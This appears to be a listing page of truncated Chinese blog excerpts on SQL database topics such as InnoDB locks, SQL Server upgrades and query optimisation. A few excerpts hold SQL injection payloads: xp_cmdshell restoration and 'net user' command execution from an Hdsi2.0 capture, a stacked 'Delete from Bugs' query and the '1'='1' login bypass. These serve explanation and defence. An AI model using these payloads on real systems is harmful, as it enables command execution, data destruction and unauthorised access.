14.3.3 Locks Set by Different SQL Statements in InnoDB 不同的SQL语句在InnoDB里的锁设置 locking read, 一个UPDATE,或者一个DELETE 通常设置record locks 在每个index record 它不关心 是否语句里的WHERE条件会排除记录 InnoDB 不记准确的WHERE 条件,只是知道哪个index ranges 会被扫描. 锁通常是next-key locks 会堵塞插入的区间.然而, gap l…
14.5.3 Locks Set by Different SQL Statements in InnoDB 通过不同的SQL语句设置的锁 在InnoDB中 一个锁定读, 一个UPDATE 或者一个DELETE 通常设置record locks 在每个Index record 他不管是否有WHERE 条件在与距离 会排除记录. InnoDB 不记住准确的WHERE 条件, 只是知道哪个index range 是被扫描. locks通常是 next-key locks 也堵塞inserts 到"g…
Hibernate原生SQL查询多表关联,SQL语句要注意的问题 @for&ever 2009-9-4 系统环境: MySQL5.1 Hibernate3.3 有如下的假定: 实体类 Question 和 Answer分别对应数据表 question 和answer. 并且表 question 和answer 的字段大部分都一样,字段数目也一样. 执行如下的操作: 1> 使用hibernate 使用原生SQL查询, Query q = session.createSQLQuery(sql).…
原文:SQL 2008 SP2 找不到SQL Server Engine 最近我有个客户碰到一个很奇怪的问题.他安装SQL server 2008 SP2的时候, SP2的安装程序无法找到SQL server.界面如下: 正常的界面应该是这样的: 你可以从上图看到, 上面列出了我机器上的SQL 实例SQLEXPRESS. 那么客户的机器上为什么就不能列出呢? 我首先考虑是不是下载的SP2版本不对?仔细核查了下,客户的SQL server 是x64版本的,而下载的SP2也是64bit的版本.所以补…
一.基础概念 Oracle 11g開始,提供了一种新的固定运行计划的方法,即SQL plan baseline,中文名SQL运行计划基线(简称基线),能够觉得是OUTLINE(大纲)或者SQL PROFILE的改进版本号.基本上它的主要作用能够归纳为例如以下两个: 1.稳定给定SQL语句的运行计划.防止运行环境或对象统计信息等等因子的改变对SQL语句的运行计划产生影响! 2.降低数据库中出现SQL语句性能退化的概率.理论上不同意一条语句切换到一个比已经运行过的运行计划慢非常多的新的运行计划上!…
目标:编写SQL动态查询,防止SQL注入 通常所说的“SQL动态查询”是指将程序中的变量和基本SQL语句拼接成一个完整的查询语句. 反模式:将未经验证的输入作为代码执行 当向SQL查询的字符串中插入别的内容,而这些被插入的内容以你不希望的方式修改了查询语法时,SQL注入就成功了. 传统的SQL注入案例中,所插入的内容首先完成了一个查询,然后再执行第二个完整的查询逻辑比如:@bugId的值是 1234;Delete from Bugs,最后的SQL语句变成如下格式: Select * from B…
概要 Locking read( SELECT ... FOR UPDATE or SELECT ... LOCK IN SHARE MODE),UPDATE以及DELETE语句通常会在他扫描的索引所有范围上加锁,忽略没有用到索引的那部分where语句.举个例子: CREATE TABLE `test` ( `id` int(11) NOT NULL DEFAULT '0', `name` varchar(10) DEFAULT NULL, PRIMARY KEY (`id`) ) ENGINE…
1.建议对生产环境对的数据库升级之前做好备份,以防不测. 2.从SQL Server 2008 R2 升级到SQL Server 2012 SP1,需要先安装SQL Server 2008 R2 的SP1 或SP2 补丁包,在此运行安装已经下载好的SP2 补丁包,如图 3. SQL Server 2008 R2 更新运行检查,如图 4. 接受许可条款,如图 5. 选择功能,如图 6. 检查正在使用的文件,如图 7. 已准备好更新,选择"更新",如图 8. 更新完成,选择"关闭…
c#Winform程序调用app.config文件配置数据库连接字符串 你新建winform项目的时候,会有一个app.config的配置文件,写在里面的<connectionStrings name="  " connectionString="  "></connectionStrings >, connectionString代表数据库链接字符串,name代表你想要引用的时候查找的名称.(其实asp里的web.config配置方式也跟这…
说明 本文章整理了47道常见sql联系题,包括建表语句,表结构,习题列表,解题答案都涵盖在本文章内.文末提供了所用SQL脚本下载链接.所有解题答案都是本人自己写的,广大读者如果在阅读使用中,有任何问题欢迎留言,对我写的有问题的,欢迎指正,谢谢. 数据库:oracle11g 表结构 可使用plsql-工具-导入表,导入如下sql脚本. 表结构与数据.sql 学生表 Student(SId,Sname,Sage,Ssex)SId 学生编号,Sname 学生姓名,Sage 出生年月,Ssex 学生性别…
锁定读.UPDATE 或 DELETE 通常会给在SQL语句处理过程扫描到的每个索引记录上设置记录锁.语句中是否存在排除该行的WHERE条件并不重要.InnoDB不记得确切的WHERE条件,但只知道哪些索引范围被扫描了.锁通常是next-key锁,它也阻止插入到紧挨着记录之前的"间隙"中.然而,间隙锁定可以显式禁用,这会导致next-key锁无法使用.事务隔离级别也会影响到锁的设置. 如果在搜索中使用了二级索引,并且要设置的索引记录锁是互斥的,InnoDB也会检索相应的聚集索引记录并对…
现在很多用户被数据库的慢的问题所困扰,又苦于花钱请一个专业的DBA成本太高.软件维护人员对数据库的了解又不是那么深入,所以导致问题迟迟不能解决,或只能暂时解决不能得到根治.开发人员解决数据问题基本又是搜遍百度各种方法尝试个遍,可能错过诊断问题的最佳时机又可能尝试一堆方法最后无奈放弃. 本系列文章主要和企业IT运维人员或数据库从业者分享,如何用最快的方式解决数据库出现的问题?当问题出现时应该有的解决思路和本能的判断.让数据库问题出现时,我们不再那么慌乱,不再毫无头绪. 另外针对目前企业对数据库的应…
复杂SQL拆分优化 拆分SQL是性能优化一种非常有效的方法之一, 具体就是将复杂的SQL按照一定的逻辑逐步分解成简单的SQL,借助临时表,最后执行一个等价的逻辑,已达到高效执行的目的 一直想写一遍通过拆分SQL来优化的博文,最近刚好遇到一个实际案例,比较有代表性,现分享出来, 我们来通过一个案例来分析,为什么拆分语句可以提高SQL执行效率,更重要的是弄清楚,拆分前为什么慢,拆分后为什么快了? 幼稚的话,各位看官莫笑 先看一下相关表的数据量,大表也有5900多万,小表有160多万 (声明:我从来没…
问题:升级windows10后,sql server 2005 无法运行或sql server服务&sql server agent无法启动,如下图,怎么办? 一般情况下,我们第一反应就是sql server 服务未启动,然而我们去启动服务的时候发现,并没有什么^_^用: 其实问题不是在于服务启动与否,而是在于win10与sql server 2005并不兼容,那么问题来了,该怎么兼容呢? 一步操作到位 将sqlos.dll与sqlservr.exe(请前往下方链接下载)覆盖到~:\Progra…
SQL Server恢复软件 Stellar Phoenix sql recovery http://www.stellarinfo.com/ http://www.stellarinfo.com/sql-recovery.htm SQL Database Repair f f 本文版权归作者所有,未经作者同意不得转载.…
前几篇文章已经从整体提供了诊断数据库的各个方面问题的基本思路...也许对你很有用,也许你觉得离自己太远.那么今天我们从语句的一些优化写法及一些简单优化方法做一个介绍.这对于很多开发人员来说还是很有用的!为了方便阅读给出前文链接: SQL SERVER全面优化-------Expert for SQL Server 诊断系列 首先还是贴出我的座驾 好的语句就像这辆车,跑的又快又帅气!今天这里介绍一些技巧让你可以改装一下自己的车! 网上确实有好多好多好多好多SQL 语句优化的文章,什么 优化大全 ,…
本文总结一下SQL SERVER 2012/2014链接到SQL SERVER 2000的各种坑,都是在实际应用中遇到的疑难杂症.可能会有人说怎么还在用SQL SERVER 2000,为什么不升级呢? 每个公司都会有一两个几乎快被人遗忘的系统,接手维护这些系统的人可能都不知换了多少批了.它们的命运注定慢慢消亡.然而偏偏却又生命力顽强,总还有一些人在使用着这些系统.所以就处在一种尴尬的境地: 升级吧,价值不大,可能再过一两年,这系统就要被其它系统替代了.而且项目经理也没有精力.人手耗费在这上面.最…
SQL Server数据库性能优化之SQL语句篇http://www.blogjava.net/allen-zhe/archive/2010/07/23/326927.html 近期项目需要, 做了一段时间的SQL Server性能优化,遇到了一些问题,也积累了一些经验,现总结一下,与君共享.SQL Server性能优化涉及到许多方面,如良好的系统和数据库设计,优质的SQL编写,合适的数据表索引设计,甚至各种硬件因素:网络性能.服务器的性能. 操作系统的性能,甚至网卡.交换机等.这篇文章主要讲到…
一名小小的SQL Server DBA想谈一下SQL Server的能力 百度上暂时还没有搜索到相关的个人写的比较有价值的文章,至少在中文网络的世界里面没有 但是在微软的网站有这样一篇文章:<比较 SQL Server 与 IBM DB2> 文章从下面几个方面进行了对比 1.TCO和ROI2.性能和可扩展性3.高可用性4.安全5.管理6.开发效率7.商业智能和数据仓库8.OLTP9.SAP集成 文章介绍得比较牛逼 性能与可扩展性 SQL Server 的性能和可扩展性优于IBM DB2. 基准…
4.群集安装后初始化配置测试 4.1 禁用full-text 服务和Browser服务 Full-text服务:公司目前暂不使用,需在两个节点上分别禁用 Browser服务:为保证安全,建议将Browser服务禁用 手动修改SQL 浏览器服务以及全文索引服务,引出2个问题: 是否由于此两个服务禁用影响故障转移? 如果上面故障转移正常,Windows 群集服务是否会自动将2个服务模式改回并且启动? 4.1.1 停止SQL 浏览器以及全文索引服务测试 通过分别停止这两个服务器证实以上两个问题,启动方…
--查询所有表 SELECT NAME,* FROM SYSOBJECTS WHERE XTYPE='U' order by SYSOBJECTS.name --查询所有存储过程 select * from sysobjects where type='P' order by [name] --查询表约束 exec sp_helpconstraint @objname=book_detail --@objname=prx_class go -- 查看内容(存储过程) sp_helptext 'P…
https://technet.microsoft.com/zh-cn/library/ms189461(v=sql.105).aspx http://www.cnblogs.com/85538649/archive/2011/08/13/2137370.html http://blog.csdn.net/liu_1983/article/details/7269312 在SQL SERVER 2005/2008支持两种排名开窗函数和聚集开窗函数. 以SQL SERVER中分面页为例,按时间顺序…
在Win8.1系统下SQL Server 2005 安装失败怎么办? 需要替换两个文件及打sqlserver sp4补丁. 以下是操作过程. 按正常情况,在Win8/Win8.1系统下安装微软的SQL Server 2005套件会存在兼容问题,即使安装完,最后的结果就是导致其服务项无法正常启动. 如果用户创建使用的项目非要按照SQL Server 2005的标准进行运行和调试情况下,那如何才能在微软最新的Windows8/Windows 8.1下正常使用SQL Server 2005套件呢?下面…
在Hdsi2.0 SQL的注入部分抓包分析语句 恢复cmd ;insert tb1 exec master..xp_cmdshell''net user ''-- ;exec master.dbo.sp_addextendedproc ''xp_cmdshell'',''xplog70.dll''-- 执行命令: sql: ;ipconfig -all-- dos: ;Drop table comd_list ;CREATE TABLE comd_list (ComResult nvarchar…
sql插入多条数据的sql语句 有三种方法:1.InSert Into <表名>(列名)Select <列名>From <源表名>如:INSERT INTO TongXunLu (姓名,电话,电子邮件) SELECT SName,SAddress,SEmailFROM Students 这种方法需要先建好新表. 2.Select (列名)Into <表名>From <源表名>如:SELECT Students.SName,Students.SAd…
Today I want to talk about executing SQL statements in X++ on both the current AX database and external databases. This is something probably every AX developer will have to do at some point. You’ll want to do this for many reasons; to execute stored…
最近读了程序员的SQL金典这本书,觉得里面的SQL注入漏洞和SQL调优总结得不错,下面简单讨论下SQL注入漏洞和SQL调优. 1. SQL注入漏洞 由于“'1'='1'”这个表达式永远返回 true,而 true 与任何布尔值的 or 运算的结果都是 true,那么无论正确密码是什么“Password='1' or '1'='1'”的计算值永远是 true,这样恶意攻击者就可以使用任何帐户登录系统了.这样的漏洞就被称作“SQL 注入漏洞(SQL Injection)”. 对付 SQL 注入漏洞有…
在2008中会加入阻止保存要求重新创建表的更改这个选项.症状表现为修改表结构的时候会"阻止"你. SQL Server 2008“阻止保存要求重新创建表的更改”的错误的解决方案是本文我们主要要介绍的内容,情况是这样的:我们在用SQL Server 2008 建完表后,插入或修改任意列时,提示:当用户在在SQL Server 2008企业管理器中更改表结构时,必须要先删除原来的表,然后重新创建新表,才能完成表的更改. 如果强行更改会出现以下提示:不允许保存更改.您所做的更改要求删除并重新…
14.6.11 Configuring Optimizer Statistics for InnoDB 配置优化统计信息用于InnoDB 14.6.11.1 Configuring Persistent Optimizer Statistics Parameters 14.6.11.2 Configuring Non-Persistent Optimizer Statistics Parameters 14.6.11.3 Estimating ANALYZE TABLE Complexity f…
14.6.8 Configuring the InnoDB Master Thread IO Rate 配置InnoDB 主线程IO 速率: 主线程 在InnoDB 是一个线程 执行各种任务在后台. 很多这些任务是I/O相关的, 比如flush dirty pages 从buffer pool或者写changes 从insert buffer 到相应的 secondary indexes. 主要的thread 尝试执行那些任务 不影响正常的服务器的工作. 它尝试创建可用的空闲的I/O 和调整它的…